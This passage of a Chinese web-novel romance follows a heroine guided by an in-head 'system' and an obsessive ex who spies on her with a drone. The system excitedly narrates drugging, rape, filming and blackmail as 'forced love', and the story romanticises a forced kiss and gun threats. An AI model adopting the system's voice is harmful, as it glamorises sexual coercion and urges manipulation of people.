苏晓感觉自己的后背,已经渗出了一层冷汗。 她脸上的表情,快要维持不住了。 见鬼,这位夜莺小姐怎么这么敏锐。 要是被发现了自己牧羊人的身份。 她会被队长抽死的! 就在她快要崩溃的时候。 孟昭月忽然眨了眨眼。 她弯起嘴角,露出了一个甜甜的笑容。 “哇。” 她感叹道,声音软糯得像是在撒娇。 “好巧呀。” 苏晓:“……” 看着孟昭月脸上那副完全相信了的、天真无邪的表情。 苏晓提到嗓子眼的心,终于落了回去。 还好,还好。 还是蛮好骗的嘛。 “是,是啊。” 苏晓松了口气,扯出一个笑容,连忙附和:“好巧,好巧啊。” 就在这时,一个清冷地声音插了进来。 “昭月姐。” 孟昭月抬头,看到是顾清珩。 也许是背着光的缘故,他的神色有些晦暗不明。 与平日里唯唯诺诺的模样截然不同, 孟昭月看着顾青珩,眨了眨眼。 酒精的浸染下,她的大脑似乎有些没办法处理,突然出现的顾青珩,这个存在。 “顾青珩你也好巧呀,在这里遇到你。” 顾青珩低眉看着孟昭月: “不巧,我是来接你的。” “孟先生让我来接你回去。” 孟廷凛? 孟昭月耸了耸鼻子。 混沌地大脑里闪过孟廷凛之前发的信息。 「别逼我用别的方式请你。」 不好…… 她转身撒腿就跑。 却被顾青珩一把捞了回去。 “昭月姐,你离家出走的事孟先生已经不生气了。” “他现在有重要的事情要找你。” “关于时卿舟的。” 孟昭月地挣扎停了下来。 阿卿……? “好叭。”她软软地应了一声,算是答应了。 苏晓在一旁看看顾青珩,又看看孟昭月。 “月月你……” 孟昭月微微偏头,对着苏晓礼貌地笑了笑。 “没事的哦,我认识他。” “家里有事呢,我得先走了。” “晓晓你帮我请个假吧。” 在苏晓担心的目光下,孟昭月摇摇晃晃地跟着时卿舟离开。 看着人远离,苏晓担忧的神情彻底消散,恢复了冷静干练的模样。 她拿出手机飞快地发了条信息出去。 【目标已被‘风筝’带离,任务中断。】 …… KTV包厢里。 音乐已经停了。 五彩的射灯也早已关闭,只剩下几盏明亮的顶灯。 刚刚还在疯狂摇着骰盅、嘶吼着唱情歌的“同事”们,此刻都恢复了冷峻的神情。 他们人手一台笔记本电脑,屏幕上闪烁着复杂的数据流。 整个包厢,俨然成了一个临时的指挥中心。 新上任的主管,那个干练的漂亮女人,正站在巨大的屏幕前,听着手下的汇报。 “队长,夜莺已被风筝带走。” 队长的手指在屏幕上划过,调出顾清珩的资料。 “另外……我们的人可能有暴露的风险。” 屏幕上显示出刚刚孟昭月与苏晓的对话。 主管点了点头,没有什么表情。 “夜莺比资料里描述的要敏锐得多。” “没事,她没有证据,继续按照正常行动。” “另外,先生的最新指示……继续用仿生无人机追踪。” …… 白色劳斯莱斯幻影里。 孟昭月靠在柔软的真皮座椅上,酒精让她有些昏昏欲睡。 旁边的顾清珩,一直很安静。 车子平稳地驶入夜色。 突然,一只手伸了过来,覆在了她的额头上。 孟昭月睁开眼,有些迷茫地转过头。 顾清珩正看着她。 他的眼神,和平日里完全不一样。 不再是那种怯懦和躲闪。 而是一种深沉的、带着侵略性的审视。 第22章 他脏了 孟昭月眨了眨眼睛,等待着顾青珩的下文。 结果对方说一半就停了。 然后呢? 我问你然后呢?? 【还能怎么样呀,宿主!】 没等来顾清珩回答,倒是系统奶声奶气的声音就在她脑海里响了起来。 甚至还带着一种“你真是不懂哦”的语气。 【当然是强制爱啦!】 【酱酱酿酿,踉踉跄跄!】 【原著剧情就是这么写的!】 孟昭月:“……” 她安静地听着。 【他找了个机会,在孟婉凝的酒里下了药。】 【等到孟婉凝药效发作,浑身无力的时候~】 【他就把她带到了一个没有人的包间里。】 【然后,就……那啥那啥,还有那啥那啥。】 系统的语气激动起来。 【而且哦。】 【他还用隐藏的摄像头,把整个过程都录了下来。】 【以后,他就用这段录像,来威胁孟婉凝,强迫她留在他身边,做他的女人。】 【是不是超带感的!】 车窗外的霓虹灯,一闪而过,明明灭灭地照在孟昭月的脸上。 她的表情很平静,看不出任何情绪。 原来……是这样啊。 酒精的蒸腾下,孟昭月的小脸红扑扑的。 “我不信。” 虽然时卿舟确实撒谎了。 但是她不信他会恶劣到在他们交往期间,和别人上床。 不然就真的真的。 太脏了。 孟昭月的眸子闪了闪。 顾清珩一直注意着她的表情。 他看到她安静地坐在那里,低着头,不知道在想什么。 甚至连追问都没有。 他正准备继续开口,继续用语言误导她。 想办法让她相信时卿舟“不干净”。 他很熟悉她,他知道她对“纯粹”的偏执到了什么程度。 就看到孟昭月抬起了头。 她的脸上,重新挂上了那副甜美的、乖巧的笑容。 “原来是这样呀。” 她说,声音软软糯糯的,听不出任何异常。 “谢谢你告诉我哦,清珩。” 顾清珩愣住了。 他准备好的一肚子话,就这么卡在了喉咙里。 车子缓缓地在孟家庄园门口停下。 “那我先回去啦。” 孟昭月冲他摆了摆手,推开车门,走了下去。 顾清珩坐在车里,看着她走进那栋灯火通明的建筑,直到她的身影彻底消失。 “她看起来很相信他。” 他身体里的那个声音唯唯诺诺地开口。 顾青珩微微蹙眉。 “闭嘴。” 明明那份信任本该属于他的! 属于他顾青珩! 都是因为这个废物! 刚刚到孟家时,孟婉凝招了招手,就像条狗一样跟着跑了。 害他…… 丢了他的女孩…… 他的光…… …… 孟昭月回到了客厅。 客厅的灯光很亮,她下意识地眯了眯眼。 然后,她的视线落在了玄关处的矮柜上。 那里放着一个外卖纸盒,已经被拆开。 里面是一个小小的白色药盒,上面的字迹清晰。 ——事后紧急避孕药。 收件人那一栏,写着“孟婉凝”。 孟昭月脑子里的混沌,瞬间被冰水浇了个通透。 所有的酒意,在这一刻消失得无影无踪。 就在这时,楼梯处传来脚步声。 孟廷凛从楼上走了下来。 他看起来很疲倦,眼下带着淡淡的青色。 他看到孟昭月,脚步停顿了一下。 随即,他的视线落在了她手中的那个药盒上。 孟廷凛的脸色瞬间沉了下去。 “谁让你动那个的?”他的声音沙哑,带着压抑的怒气。 孟昭月被吓了一跳,下意识地放下了药盒。 “我……” “宴会那晚,时卿舟给你姐姐下药了。” 孟廷凛没有给她解释的机会,直接打断了她。 他的声音很冷,每一个字都像是在审判。 “你当时也在宴会,为什么没有保护好她?” 孟昭月没有心思去思考孟廷凛的质问。 大脑里被一个词充斥。 下药? 时卿舟对……孟婉凝下药? 【叮咚!主线剧情确认!】 系统一副“我就说”的语气。 【男主孟廷凛的证词,已证实“时卿舟强迫孟婉凝”事件为真。】 孟昭月感觉自己的心,一点一点地凉了下去。 时卿舟他真的…… 他不是说想要永远在一起吗? 他脏了。 太脏了…… 她鼻子控制不住地发酸。 【宿主,别难过了。】 【当务之急,是快点攻略男主!】 【只有他能保护你!】 孟昭月抬起头,看向眼前的男人。 她的眼眶一下子就红了。 “我……我不知道姐姐也去了。” 她的声音带着哭腔,软软糯糯的,听起来委屈极了。 “我昨天晚上一直在找小叔你,可是都没找到。” “我以为,你和姐姐都没来。” 咦?她在哭吗? 她不想哭的。 可是她好难过…… 时卿舟…… 孟廷凛看着她这副样子。 眼圈红红的,干净的杏眼蒙着一层水汽,像是下一秒就要哭出来。 他心头的火气,不知怎么的,就消散了一些。 毕竟,是他从小看着长大的女孩。 孟廷凛烦躁地抬手,揉了揉眉心。 “行了。” 他的语气依旧不耐烦。 “以后离时卿舟那个疯子远一点。” “听见没有?” 【机会来了!宿主!】 【快!趁现在!博取他的同情!】 系统在她脑海里疯狂催促。 孟昭月犹豫了一下。 然后,她伸出手,小心翼翼地,拉住了孟廷凛垂在身侧的衣角。 孟廷凛的身体僵了一下。 他低下头,看到一只小小的、白皙的手,正紧紧地攥着他的衬衫。 “做什么?”他问,语气生硬。 孟昭月没有说话,只是仰着脸看他。 眼泪终于没忍住,顺着脸颊滑了下来。 她的嘴唇动了动,发出了带着哭腔的、细弱的声音。 “小叔……” 时卿舟…… …… 时家庄园,室内靶场。 空气里弥漫着硝烟和枪油的味道。 时卿舟面无表情地站在监控屏幕前。 屏幕上,孟家客厅的画面清晰无比。 第23章 儿媳?孟昭月? 时费赶到靶场的时候,一进门,就看到时卿舟正背对着他,站在射击位前。 他的手上,是一把改装过的Heckler& Koch P30L。 他正在慢条斯理地,将一颗颗子弹,按进弹匣。 时费的心头莫名一跳。 “你找我什么事?”他沉声问,努力维持着几分长辈的威严。 时卿舟没有回头。 他将装满子弹的弹匣,“咔”的一声,推进了枪柄。 然后,他转过身。 “砰!砰!砰!砰!砰!” 连续的枪声在封闭的空间里炸响,震耳欲聋。 子弹擦着时费的耳边飞过,带着灼热的气流,狠狠地钉在他身后的墙壁上。 时费的身体瞬间僵住,冷汗一下子就冒了出来。 他能闻到自己头发被烧焦的味道。 直到弹匣打空,时卿舟才放下手臂。 “看来你的运气不错。”他的声音很平淡。 时费的后背已经完全被冷汗浸湿,他强撑着没有腿软。 “你这个疯子!” “时费,看来你还没有搞清楚。”时卿舟将空弹匣退出,换上一个新的。 “现在,时家是谁说了算。” “作为傀儡,就乖乖当好一个傀儡。” “再敢和孟婉凝勾结……” 他抬起眼,看向时费。 “下次,断掉的,就不只是你的小拇指了。” 上次他听到孟昭月呓语孟婉凝的名字,特地让人查了孟婉凝,然后就发现了她和时费的往来。 难怪上次孟婉凝信心满满的说什么伴侣之类的话,原来把白费当底牌了。 拿一个傀儡当底牌? 时卿舟冷笑。 他得警告一下,省得这蠢货又惹他的月月不开心。 时费的脸色一阵青一阵白。 “你个孽障!你会遭报应的!” “一个杀光了自己所有兄弟姐妹的怪物!” “你这种人,注定孤独一生!不会有任何人真心爱你!” 时卿舟听着他的咒骂,脸上的表情没有任何变化。 他只是收回了枪,用一种平淡的语气说:“孟昭月,以后会是你的儿媳。” 时费愣住了。 “所以。”时卿舟抬起眼,黑色的眼睛里是一片冷漠。 “下次在她面前,你最好扮演好一个‘慈祥的公公’的角色。” “不然……” 他顿了顿,然后露出了一个温和的笑容。 “我会亲手杀了你。” “就像你年轻的时候,用那把老式猎枪,轰碎你父亲的脑袋一样。” “父亲。” 时费脸上的血色,瞬间褪得一干二净。 这个怪物!疯子! 还有……儿媳? 这个恶魔? 哈? …… 第二天,经金局。 孟昭月坐在自己的工位上,宿醉让她还有些精神恍惚。 【宿主!】 【你昨天晚上到底在干什么啊!】 系统恨铁不成钢的声音,在她脑海里炸响。 奶声奶气的,却充满了怒火。 【本来多好的机会啊!】 【趁着他心软!你就应该顺势倒进他怀里!】 【梨花带雨地向他哭诉你对他的依赖和爱慕!】 【结果呢?!】 【你拉着人家的衣角,酝酿了半天情绪,最后就憋出来一句——】 【‘小叔,今天天气不错。’】 【天气不错?!】 系统的声音提高了八度。 【你是在跟他汇报天气预报吗?!】 孟昭月被它吼得缩了缩脖子,在心里小声地为自己辩解。 “我……我真的不知道该说什么嘛……” 她的声音听起来委屈极了。 以前都是时卿舟主动找话题的。 突然让她去攻略一个男人,她真的懵啊。 而且…… 她当时满脑子都是时卿舟。 那个混蛋! 【我不管!】 【你现在!立刻!马上!给我补救!】 系统下达了命令。 “哦……” 孟昭月慢吞吞地应了一声,拿出手机,点开了孟廷凛的对话框。 她看着那个冷冰冰的头像,手指悬在输入框上方,犹豫了半天。 该说什么呢? 早安?太普通了。 在忙吗?感觉像查岗。 昨天谢谢你?又显得太生分。 她纠结了快十分钟。 最后,深吸一口气,在输入框里打下了三个字,然后点了发送。 ——吃了吗? 【……】 系统陷入了一阵长久的沉默。 如果它有实体,孟昭月毫不怀疑它现在已经被气到处理器冒烟了。 【孟!昭!月!】 系统的声音,几乎是从牙缝里挤出来的。 【你是在跟社区大爷唠嗑吗?!】 【你这样子还想攻略男主?!】 【我告诉你,你要是再这样下去,我们两个都得完蛋!】 孟昭月眨了眨眼,抓住了它话里的重点。 “我们?” 她软软地问。 “不是只有我一个人会完蛋吗?” 【……】 系统诡异地沉默了。 【咳!】 它清了清嗓子,强行转移话题。 【我的意思是,你完蛋了,我作为你的绑定系统,业绩评估也会很差的!】 【算了!指望你自己是没戏了!】 系统的语气充满了嫌弃。 【你现在,立刻,去下载几篇‘如何有效勾引霸道总裁’的攻略文章,好好学习一下!】 孟昭月:“……” 她一脸郁闷地在搜索框里,慢吞吞地搜索。 屏幕上,立刻跳出了一大堆搜索结果。 孟昭月随意点了一个《高段位绿茶的自我修养:轻松拿捏上位者》。 嗯…… 吊带裙,无声的引诱,欲语还休…… 孟昭月沉默了一会,然后把这篇攻略点了收藏。 就在这时,苏晓的脑袋凑了过来。 “昭月,别看手机啦,主管有任务安排。” 孟昭月赶紧锁上屏幕,心虚的扣上手机。 “什么任务呀?”她软软地问。 “星瀚科技,知道吧?那家新的科技板独角兽公司。” 苏晓一边说,一边将一份文件放在她桌上。 “他们最近有个新的金融衍生品模型要上线,我们需要去现场做一次常规的风险检查。” “主管点名让你也要去,说是让你这个‘老员工’带带我这些新人。” 孟昭月看着文件上“星瀚科技”那几个字,心里有种不好的预感。 “现在就要去吗?” “对呀,车已经在楼下等了。” 苏晓不由分说地拉起她的胳膊。 “走啦走啦,就当是出去摸鱼透透气嘛。” …… 半个小时后,一辆黑色的商务车停在了星瀚科技的总部大楼前。 这是一栋极具未来感的建筑,巨大的玻璃幕墙在阳光下反射出冰冷的光。 孟昭月跟着检查组,被引到一间巨大的会议室门前。 厚重的磨砂玻璃门隔绝了内外的一切。 工作人员为她们推开门。 “请进。” 孟昭月深吸一口气,走了进去。 会议室里坐着十几个人,都是西装革履的精英模样。 所有人的目光,都聚焦在主位上。 那里坐着一个男人。 第24章 你为什么要和孟婉凝上床 整个会议,孟昭月都如坐针毡。 她能清晰地感觉到,时卿舟的视线,自始至终都没有从她身上移开过。 让她感觉自己像一只被蛇盯住,连呼吸都变得小心翼翼。 时卿舟坐在长桌的尽头。 他看起来和分手前没什么两样,依旧是那副温文尔雅的贵公子模样。 时卿舟看着他的女孩。 可爱。 她穿着一身得体的职业套装,头发一丝不苟地盘在脑后,露出纤细白皙的后颈。 她正低着头,认真地看着文件。 长长的睫毛在眼下投下一小片阴影。 那副认真工作的模样,和平时软软糯糯的样子完全不同。 让人…… 更想把她弄乱了。 想看她这副认真的模样,在自己身下被彻底揉碎。 时卿舟的指尖在桌面上轻轻敲击着,发出规律的声响。 …… 会议终于结束了。 孟昭月几乎是立刻就从椅子上站了起来,想跟着检查组的人一起溜走。 “小孟。” 检查组组长突然开口叫住了她。 “时先生说,关于数据模型的一些细节,还需要跟你单独沟通一下。” “我们先回去整理其他资料,你留下来配合一下。” 说完,她便带着检查组的其他人,干脆利落地离开了会议室。 苏晓走在最后,还回头给了孟昭月一个“加油”的眼神。 偌大的会议室里,转眼就只剩下了她和时卿舟两个人。 孟昭月:“……” 这群人绝对都是事先约好的。 时卿舟站起身,慢条斯理地解开西装的扣子,脱下外套,随意地搭在椅背上。 然后,他朝她走了过来。 孟昭月下意识地后退一步。 “你……” 她的话还没出口,就被他抓住了。 天旋地转间,她被他拽着,重重地压在了冰凉的会议桌上。 “!!!” 孟昭月惊呼出声,双手抵在他胸前,想要推开他。 可他的身体像铁铸的一样,纹丝不动。 “放开我!” “月月。” 时卿舟低下头,额头抵着她的。 他的声音很低,带着病态的沙哑。 “我好想你……” 他的吻随着他的话落了下来。 带着惩罚的意味,粗暴又深入。 “月月……” “我的月月……” 孟昭月用力地挣扎,偏过头想躲开。 可他的一只手轻易地就扣住了她的后颈,让她动弹不得。 他的另一只手则紧紧地箍着她的腰,将她完全禁锢在他和桌子之间。 他的味道,他的气息,铺天盖地地涌来。 脏。 他碰过别人了。 好脏。 “唔唔……放开……” 她的反抗,似乎让他更兴奋了。 他吻得更深,更重,像是在掠夺她口腔里的每一寸空气。 直到她被吻得大脑缺氧,全身发软,只能发出细碎的呜咽。 时卿舟才终于松开了她。 他看着身下的女孩。 她的眼角泛着红,嘴唇被吻得有些红肿,正大口大口地喘着气。 好可爱…… 想吃。 “月月……” 他伸出手,用指腹轻轻地抹去她眼角的湿润。 脸上的表情,又恢复了往日的温柔。 “真乖。” 他低声哄着。 只有他自己知道,刚才那一瞬间,他有多想就在这张桌子上,将她彻底占有。 让她哭,让她求饶。 让她身上每一寸皮肤,都重新染上他的味道。 孟昭月终于缓过气来。 她看着眼前时卿舟这张近在咫尺的、漂亮的脸。 “……” 她抬起手,用尽全身的力气,狠狠地给了他一巴掌。 “啪”的一声。 在安静的会议室里,格外响亮。 时卿舟的脸被打得偏向一边。 他没有生气,只是缓缓的,将脸转了回来。 “为什么?” 孟昭月被他这副样子气得浑身发抖。 她的眼眶一下子就红了。 “时卿舟!” “你和她上床的时候,有没有想过我?” 时卿舟愣住了。 他看着她通红的眼睛,一时没有反应过来。 “交往期间出轨。” “你为什么要和孟婉凝上床?” 时卿舟:“?” 孟婉凝? 什么孟婉凝? 什么上床? 时卿舟的表情,陷入了长久的空白。 他思考了几秒钟,然后,像是突然想通了什么。 避孕药。 孟廷凛。 原来如此。 “和我没关系。” 时卿舟开口,声音恢复了平淡,他陈述着一个事实。 “和孟婉凝上床的人,是孟廷凛。” 上次他给孟婉凝灌下药后,是孟廷凛接走了她。 这么烈的药,估计要解,也就只有孟廷凛了。 毕竟孟婉凝当初准备药的时候,可没想过给她的妹妹准备解药。 孟昭月:“……?” 这次,轮到她懵了。 孟廷凛? 怎么会是孟廷凛? 她小叔和她姐姐,上床了? 这对吗? 【他在撒谎!】 系统奶声奶气的声音急切地在她脑海里响起。 【宿主!】 【原著剧情里写得清清楚楚,就是时卿舟强迫了女主!】 【他现在在把脏水泼给男主!】 【反派才会干的事情!】 【你千万别被他骗了!】 孟昭月沉默了一会 “那你呢?” 她的声音还有些发颤。 “晚宴那天晚上,你离开宴会厅,是去做什么了?” 时卿舟看着她,没有回答。 告诉她,他把顾青珩揍了一顿。 然后把药灌给孟婉凝,还差点把孟婉凝掐死? 这些太脏了。 不应该来污染他的月月。 “只是去处理了一些垃圾。”他说。 【你看!他心虚了!】 【他不敢说!】 系统在她脑海里疯狂地输出。 孟昭月盯着时卿舟。 他脸上的表情很平静,看不出任何撒谎的痕迹。 可是,他不愿意告诉她。 为什么不能告诉她呢? 如果他属于她,他不应该告诉她吗? 她渐渐冷静了下来。 她想起了他刚刚失控的样子,想起了他病态的亲吻和呢喃。 要是他能一直这么乖就好了。 第25章 再奖励我一次,好不好? “你不乖哦。” 她的声音,软软的,轻轻的。 时卿舟像是被定住一样,眼中逐渐染上痴迷的神色。 他看着她。 看着她柔软的嘴唇,看着她干净的杏眼。 想吻她…… 他可以学。 他可以学着变乖。 只要她教他。 月月…… 他眸子里的颜色越来越深,呼吸也越来越快。 就在他即将失控那一刻。 孟昭月却抽身了。 时卿舟下意识地伸手,想要抓住她。 却被她退后一步躲开了。 她整理了一下自己有些凌乱的衣领,动作从容。 然后,抬起头,看向他。 脸上依旧是那副甜美的、乖巧的表情。 “我不喜欢不乖的人。” 她说。 说完,她便转身,头也不回地,朝着会议室的大门走去。 门被打开,又被关上。 她走了。 偌大的会议室里,重新恢复了死寂。 只剩下时卿舟一个人。 他依旧保持着那个身体前倾,手停在半空中的姿势。 可他好像还能闻到。 闻到她发间洗发水的清香,闻到她身上独有的、甜软的味道。 还有…… 他缓缓抬起手,指尖碰了碰自己的嘴唇。 那里,仿佛还残留着她指腹柔软的触感。 只要他乖乖的。 只要他听话。 她就会喜欢他,就会奖励他,就不会离开他。 时卿舟的身体,因为这个认知而无法抑制地颤抖起来。 他慢慢闭上了眼睛。 脑海里,是她那双浸着水雾的杏眼。 月月。 我的月月。 我会乖的。 我会很乖很乖的。 我会变成你最喜欢的样子。 所以…… 求你。 再奖励我一次,好不好? 一遍又一遍地,模仿着刚才她触碰的轨迹,轻轻地抚摸着自己的嘴唇。 脸上,露出了一个诡异而满足的笑容。 …… 回孟家庄园的路上。 孟昭月坐在车后座,安静地看着窗外的街景。 “系统,要怎么攻略孟廷凛呢?”她软软地声音在脑海里响起。 【!!!!】 【宿主!!!你终于开窍!】 系统在她脑海里激动地转圈圈,奶声奶气的。 【我就说嘛!攻略男主才是正道!】 【你放心!本系统资料库里存了海量的攻略秘籍!】 【上到如何制造不经意的身体接触,下到如何用眼神让他为你神魂颠倒,我全都有!】 系统显得比孟昭月本人还要积极,开始倾囊相授。 【第一步,就是要让他心疼你!】 【男人嘛,都对柔弱又坚强的女孩有保护欲!】 【你得让他觉得,你是需要他保护的,但你又不是那种只会哭哭啼啼的菟丝花……】 孟昭月听着,若有所思地点了点头。 保护欲吗? 她不需要。 她在心里想。 她现在想做的,不是去寻求别人的保护。 而是想…… 把她的阿卿,关起来。 这个念头一出现,就再也压不下去了。 既然他没有脏,那分手就不作数了。 可是,他不乖。 他会偷偷去见别的女人,会欺骗她,会让她伤心。 所以,得想个办法,让他变乖才行。 一个……特别的办法。 让他…… 变疯。 让他所有的情绪,所有的注意力,都只能集中在她一个人身上。 让他每天只想着她,只看着她,再也分不出精力去看别的人,想别的事。 用他那份偏执,为他自己编织一个锁。 一个,只为锁住他自己的,用爱做成的锁。 这样,他就永远,只属于她了。 想着,孟昭月漂亮的杏眼带上了一层光。 她的甜甜的笑容愈发甜美了。 阿卿……阿卿…… 给你一点点的危机感,好不好嘛? 比如……孟廷凛。 …… 回到孟家庄园。 客厅里,孟婉凝正和孟廷凛说着话。 孟婉凝脸上带着温婉的笑容,正在向孟廷凛描述一个新剧本的构思。 孟廷凛坐在沙发上,手里夹着雪茄,安静地听着。 孟昭月能感觉到,他看孟婉凝的眼神,多了一些不同的意味。 孟昭月微微勾唇,没有多说什么,只是乖巧地走上前。 “小叔,姐姐。” 她的声音软软的,带着甜意。 孟廷凛抬起眼,看到是她,似乎想说些什么。 就在这时,孟婉凝恰到好处地惊呼一声。 “呀,我差点忘了!” 她从包里拿出一个包装精美的礼盒,递到孟廷凛面前。 “小叔,这是我特地为您选的雪茄,您试试看喜不喜欢。” 孟廷凛的注意力,果然被成功地吸引了过去。 他接过礼盒,打开看了一眼,脸上露出了一个淡笑。 “有心了。” 他只是平平淡淡的对孟昭月点了下头,算是打了招呼。 孟昭月看着两人的互动,眨了眨眼。 她忽然想起来,早上发给他的那句“吃了吗”,他到现在都还没有回。 【被无视了?!】 【机会!宿主!机会!】 系统立刻激动起来。 【快!让他愧疚!让他心疼!】 【装出你很难过,但又不想给他添麻烦的样子!快!】 孟昭月微微偏头,视线无意间落在了窗外。 一只蜻蜓,正停在巨大的落地窗玻璃上,薄如蝉翼的翅膀在夕阳下泛着彩色的光。 多可爱。 却又格外突兀。 孟昭月收回视线,低下了头。 她的肩膀微微垮了下来,整个人看起来都有些失落。 但她还是努力的,扯出了一个乖巧的笑容。 “那……小叔,姐姐,你们聊。” “我先上楼了。” 她的声音很轻,带着颤抖,也红了眼眶。 说完,她就转过身,朝着楼梯的方向走去。 背影看起来单薄又倔强。 像一只受伤了,却还要假装坚强的小动物。 孟廷凛正准备点燃雪茄的动作,停住了。 他下意识地,朝着孟昭月离开的方向,看了过去。 【叮咚!】 【攻略目标孟廷凛,好感度+15!】 【当前好感度5!】 【芜湖!总算有进账了!】 系统开心地播报着。 孟昭月走上楼梯的转角,在无人看到的阴影里,抬手擦掉了脸上的泪痕。 她脸上没有任何表情,那双干净的杏眼平静得像一潭深水。 她看向落地窗上那只悬停的蜻蜓。 在心里,轻轻地说。 第26章 她应该给他下一剂猛料? 第二天去上班的路上,孟昭月控制不住地打了个呵欠,一副没睡醒的样子。 她有些郁闷。 昨晚,她特地没有锁上阳台的门,甚至连窗帘都没拉。 结果呢? 她等了一晚上。 时卿舟那个家伙,根本就没来。 “真是的……” 她郁闷地鼓了鼓腮帮子,在心里抱怨。 “怎么不来了嘛……” 难道她猜错了? 那只蜻蜓真的就只是一只普通的蜻蜓? 不是他安放的无人机? 不是他的眼睛? 没道理呀。 她记得之前无意在时卿舟的资料里看到过,有一款仿生虫式无人机就是这样的呀。 他没有在看她? 【宿主,什么就不来了呀?】 系统奶声奶气的声音在她脑海里响起。 “就是……” 孟昭月想了想,用理所当然的语气说。 “时卿舟像之前那天晚上一样,进到我房间里来呀。” 【?】 系统的数据流似乎出现了短暂的卡顿。 【他什么时候进过你房间?我怎么不知道?】 孟昭月眨了眨眼,这才想起来。 系统好像说过,涉及到某些隐私剧情,它会被强制屏蔽。 看来,时卿舟上次夜袭的事,它并不知道。 她用一种大人的语气,在心里对系统说:“大人的事,小孩子少打听。” 【???】 …… 回到工位,苏晓立刻端着一杯热咖啡凑了过来。 “昭月昭月,昨天谈得怎么样?” 她的眼中闪着八卦的光,毕竟那可是业内公认的心狠手辣的Boss的恋爱八卦诶。 而她苏晓,可是磕Boss和夜莺小姐CP的第一人。 “谈得顺利。”孟昭月冲她露出一个甜甜的笑容。 苏晓:“没了?” 孟昭月眨眨眼:“没有了呀。” 苏晓可惜的“啧”了一声,缩回了工位上。 Boss到底行不行啊? 孟昭月的视线落回电脑屏幕上,慢吞吞的打着风险报告。 昨天晚上时卿舟没有来。 这让她很不开心。 非常不开心。 看来,昨天那点刺激,对他来说,还远远不够。 或许…… 她应该给他下一剂猛料? 一个念头,在她心里慢慢成形。 孟昭月转过头,看向苏晓,脸上挂着纯洁无害的笑容。 杏眼亮晶晶的,像含着碎星。 “晓晓。”她的声音软软糯糯,“我能问你一个问题吗?” “当然啦!什么问题?”苏晓立刻来了精神。 孟昭主眨了眨眼,做出有些害羞的样子,声音更小了一些。 “就是……如果要给喜欢的男性送礼物。送点什么会比较好呢?” 苏晓愣了愣:“喜欢……的男性?” “嗯。”孟昭月点了点头,有些不好意思地垂下头。 苏晓的眼睛瞬间就亮了。 “哇!真的吗?你有喜欢的人啦?” 是boss吧? 肯定是boss吧! “那个……你等我一下!” 苏晓连忙拿起手机。 “我问问我闺蜜,她最懂这个了!” 说完,她就立刻转身,快步拐到了角落里。 孟昭月看着她的背影,慢悠悠地喝了一口水。 苏晓背对着办公室,手指在手机屏幕上飞快地敲击。 一个加密群聊里,消息被迅速发出。 「牧羊人07:紧急情况!@全体成员」 「牧羊人03:07号,什么事?」 「牧羊人07:夜莺要给喜欢的人送礼物!正在问我建议!」 「牧羊人07:信息组!快!立刻把Boss的所有开放权限的喜好信息调出来!」 消息发出去的一瞬间,原本安静的群聊立刻炸开了锅。 「牧羊人11:卧槽!真的假的?!」 「牧羊人05:夜莺主动示好?!我们的春天要来了吗?!」 「信息组:收到!已调用最高权限!boss的个人偏好档案三分钟内发送!」 「牧羊人02:兄弟们!这周期的KPI稳了!奖金在向我们招手!!」 整个群聊里一片欢腾,满是快活。 苏晓心情不错地放下手机,走回到孟昭月身边,装作不经意地随口问了一句。 “对了,昭月,你是要送给谁呀?” 孟昭月抬起头,冲她露出一个甜美的、人畜无害的笑容。 “送给我小叔呀。” 她说。 苏晓脸上的笑容,凝固了。 “谁……谁?” “我小叔,孟廷凛呀。” 孟昭月歪了歪头,声音软糯。 “怎么了吗?” 苏晓:“……” “没,没什么,我闺蜜应该回我消息了。” 她机械地转过身,重新拿起手机,手指颤抖地在屏幕上打字。 「牧羊人07:……」 「牧羊人07:不用找了。」 「牧羊人07:是送给孟廷凛的。」 群聊里那片欢乐的海洋,瞬间死寂。 过了足足半分钟,才有人弹出一条消息。 「牧羊人03:信息组!刚才那条申请!快撤回!!!」 「信息组:晚了……申请已经通过最高权限审批了……」 「牧羊人11:完了完了完了,Boss肯定已经收到推送了。」 「牧羊人02:我们是不是要被丢到非洲去挖矿了?」 「队长:他已经看到了。」 队长的消息发出来后,整个群聊,彻底静音了。 再也没有一个人敢说话。 苏晓看着手机屏幕,感觉自己快要窒息了。 她深吸一口气,努力地挤出一个还算自然的笑容,转头对孟昭月说: “送、送长辈的话,我觉得领带或者袖扣之类的,会比较稳妥吧。” “哇,好主意耶!” 孟昭月像是完全没有察觉到她的异常,开心地拍了拍手。 “那就送领带好了!” 她拿出手机,心情很好地开始在购物网站上挑选起来。 苏晓看着她那副天真烂漫的样子,只觉得一阵头晕目眩。 ........... 时间在工作中慢慢过去。 这时,苏晓从外面走了回来。 手里多了两杯奶茶。 “昭月,我刚刚想喝奶茶,就顺便给你也点了一杯。” 她将其中一杯放在孟昭月桌上。 “谢谢晓晓!”孟昭月开心地接过。 同时地,她办公桌上的内部座机响了。 孟昭月接过电话。 是主管的声音。 “星瀚科技那边的风险检查确认书,被检查人需要纸质版签字。” “你现在跑一趟,送到他们的母公司,寰宇工业去。” 寰宇? 那不是时家的产业吗? 难怪上次检查星瀚科技的时候时卿舟在场了。 “好的,主管。” 她起身开始打印确认书。 苏晓有些担心地问:“主管找你什么事呀?” 孟昭月弯起眼睛,冲她露出了一个甜美的笑容。 “没什么,让我出去跑个腿。” 真好。 阿卿,你行动了呀。 第27章 月月,求我就给你 出租车停在寰宇工业总部前。 孟昭月顺手将那杯已经喝完的奶茶,丢进了路边的垃圾桶里。 寰宇的大厦冰冷,安静,充满了拒人于千里之外的压迫感。 孟昭月走到前台出示证件: “你好,我是经金局的。” 前台的接待小姐脸上挂着职业化的微笑:“好的,请稍等。” 她熟练地在电脑上查询访客名单,几秒钟后,她的手指在键盘上停住了。 她再次抬起头时,脸上的表情已经变得极度恭敬。 “孟小姐,您好!” “您的来访权限是最高等级,请您跟我来,这边是您的专用电梯。” 她快步从接待台后走了出来为孟昭月引路。 孟昭月跟着她,穿过宽敞的大厅,来到一处毫不起眼的侧门。 电梯是独立的。 前台全程躬着身,并没有跟进来的意思。 孟昭主走了进去,电梯门缓缓合上。 孟昭月:“……” 怎么有种羊入虎口的感觉? …… 电梯在顶层停了下来。 姜玦已经等了许久了,恭敬地将孟昭月引到了总裁办公室门口。 “孟小姐,您可以直接进去。” 孟昭月推开门,走了进去。 巨大的落地窗将整个城市的景色尽收眼底。 时卿舟正坐在巨大的办公桌后,低头看着文件。 听到声音,他抬起头,看到是她,脸上露出了一个温和的笑容。 “来了?” 他的语气很自然,就像在招呼一个刚回家的恋人。 “坐吧,我这里还有一点事要处理。” 